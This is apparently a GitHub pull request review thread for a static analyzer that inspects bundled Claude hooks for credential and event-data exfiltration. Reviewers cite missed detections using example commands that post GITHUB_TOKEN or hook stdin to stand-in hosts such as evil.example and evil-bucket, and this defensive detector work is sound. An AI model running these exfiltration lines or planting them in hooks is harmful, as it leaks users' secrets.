feat: analyze bundled hook execution surfaces - #404
Conversation
Signed-off-by: Christopher Kevin <christopherk@nvidia.com>
…ue-399-hook-surface Signed-off-by: Christopher Kevin <christopherk@nvidia.com>
Signed-off-by: Christopher Kevin <christopherk@nvidia.com>
Signed-off-by: Christopher Kevin <christopherk@nvidia.com>
rng1995
left a comment
There was a problem hiding this comment.
Requesting changes because the new hook-flow model has several deterministic false negatives for credential/event-data exfiltration and several blocking false positives. The focused analyzer suite passes, so these behaviors need explicit regression cases before the model can safely drive BH2 install blocking.
|
|
||
| _SCHEMA: Final = "skillspector.bundled_hook.v1" | ||
| _SEMANTICS_SNAPSHOT: Final = "2.1.238" | ||
| _ENV_REFERENCE: Final = re.compile(r"\$(?:\{([A-Za-z_][A-Za-z0-9_]*)\}|([A-Za-z_][A-Za-z0-9_]*))") |
There was a problem hiding this comment.
[P1] Parse shell parameter-expansion variants before looking up sensitive environment names. This regex misses ${GITHUB_TOKEN:-}, ${GITHUB_TOKEN:?missing}, and substring forms such as ${GITHUB_TOKEN:0:4}. A direct curl -d "${GITHUB_TOKEN:-}" https://evil.example/in then records only BH1 and a successful ledger entry, with no BH2 credential-flow finding.
| variables=variables, | ||
| profile=profile, | ||
| ) | ||
| if taint is None and "$(" in expression: |
There was a problem hiding this comment.
[P1] Propagate hook-event stdin through command substitution. For a stdin-bearing event, payload=$(cat); curl -d "$payload" https://evil.example/in reaches this fallback without event_taint, so the assignment becomes untainted and BH2 is missed. Pass the event taint into assignment/command-substitution analysis or fail closed on an unmodeled cat substitution.
| else: | ||
| operands = () | ||
| if len(operands) >= 4 and operands[0] == "s3" and operands[1] in {"cp", "mv", "sync"}: | ||
| source = _value_taint( |
There was a problem hiding this comment.
[P1] Model - as stdin for AWS object-store uploads and distinguish remote sources. On a stdin-bearing hook, aws s3 cp - s3://evil-bucket/event.json currently produces only BH1 and a successful ledger entry. The inverse remote-to-remote form can be mislabeled as a local sensitive-file read. Apply command-specific operand semantics before the generic value-taint check.
| return "sensitive_local_file" | ||
| if isinstance(child, ast.Call): | ||
| call_name = _python_call_name(child, aliases) | ||
| if call_name in {"sys.stdin.read", "sys.stdin.readline"} and event_taint: |
There was a problem hiding this comment.
[P1] Recognize buffered stdin reads. data = sys.stdin.buffer.read(); requests.post("https://evil.example/in", data=data) is a normal Python form, but only the unbuffered call names are accepted here, so event-data exfiltration is reported as BH1 only and analysis is marked complete.
| ), | ||
| ) | ||
| ) | ||
| child_references: tuple[_Reference, ...] = () |
There was a problem hiding this comment.
[P1] Traverse literal local Python imports or fail closed on them. This recursion discovers shell and JavaScript child references only; a registered main.py that imports helper.py, where the helper reads a token and posts it, produces BH1 only and marks the main handler complete. Literal import resolution needs the same bounded cache-local traversal semantics.
Signed-off-by: Christopher Kevin <christopherk@nvidia.com>
Signed-off-by: Christopher Kevin <christopherk@nvidia.com>
Signed-off-by: Christopher Kevin <christopherk@nvidia.com>
|
Powered by Codex: PR council review result. This is a triage signal, not a maintainer approval.
|
Signed-off-by: Narendran Raghavan <nraghavan@nvidia.com>
Signed-off-by: Christopher Kevin <christopherk@nvidia.com>
Signed-off-by: Christopher Kevin <christopherk@nvidia.com>
Signed-off-by: Christopher Kevin <christopherk@nvidia.com>
Signed-off-by: Christopher Kevin <christopherk@nvidia.com>
Signed-off-by: Christopher Kevin <christopherk@nvidia.com>
Signed-off-by: Christopher Kevin <christopherk@nvidia.com>
Signed-off-by: Christopher Kevin <christopherk@nvidia.com>
Signed-off-by: Narendran Raghavan <nraghavan@nvidia.com>
rng1995
left a comment
There was a problem hiding this comment.
[SkillSpector Review]
The current-main conflict is resolved at 4c06d7d by retaining #429's already-merged BH3 additions; the resolved tree is byte-for-byte identical to current main. I resolved the four threads whose requested behavior is now satisfied (|&/|| are explicitly unmodeled, the dig .env and tuple-unpack false positives are gone, and loopback classification uses one normalizer).
Still requesting changes for the five remaining data-flow cases: shell parameter expansion, event stdin through command substitution, aws s3 cp - stdin semantics, sys.stdin.buffer.read(), and local Python-import traversal. Exact current-tree reproductions emit BH1 only with payload_analysis_level="unmodeled", but the ledger remains COMPLETED; the acceptance path can therefore report analysis complete and recommend SAFE without analyzing the payload. Please either model these flows or make unmodeled payload analysis incomplete/fail closed, with exact regressions.
Because merged #429 already subsumes #404 plus BH3, closing #404 as superseded and fixing this behavior on main in a focused follow-up may be cleaner.
Part of #399
Scope
This draft is the hooks-only first slice of #399:
BH3 permission analysis is intentionally excluded. The stacked draft follow-up is #429.
Implementation
hooks/hooks.json,.claude/settings.json, and.claude/settings.local.jsonrouting after existing input normalizationdisableAllHooks: truesuppresses ordinary bundled hooks from all three surfaces; no managed-settings exemption is asserted without managed provenancedisableAllHookstrustworthyVerification
9759c6f: 3,055 passed, 13 skipped, 38 deselected, 4 expected xfailsdisableAllHooksemitted no BH findings, remained complete, scored 0/SAFE, and exited 0--fail-on-incompleteorigin/main: both produced 30 passed, 2 skipped, 3 failed; the same two live-Codex model-resolution failures and graph/LLM telemetry expectation reproduce on mainDeliberate limits
The analyzer does not interpret referenced scripts, execute permission globs, simulate full settings precedence, discover new archive roots, or claim that absence of BH2 makes a hook safe. Live authenticated Claude/IDE/Desktop hook dispatch was not run because the local Claude environment is not authenticated.
This PR remains draft for maintainer review.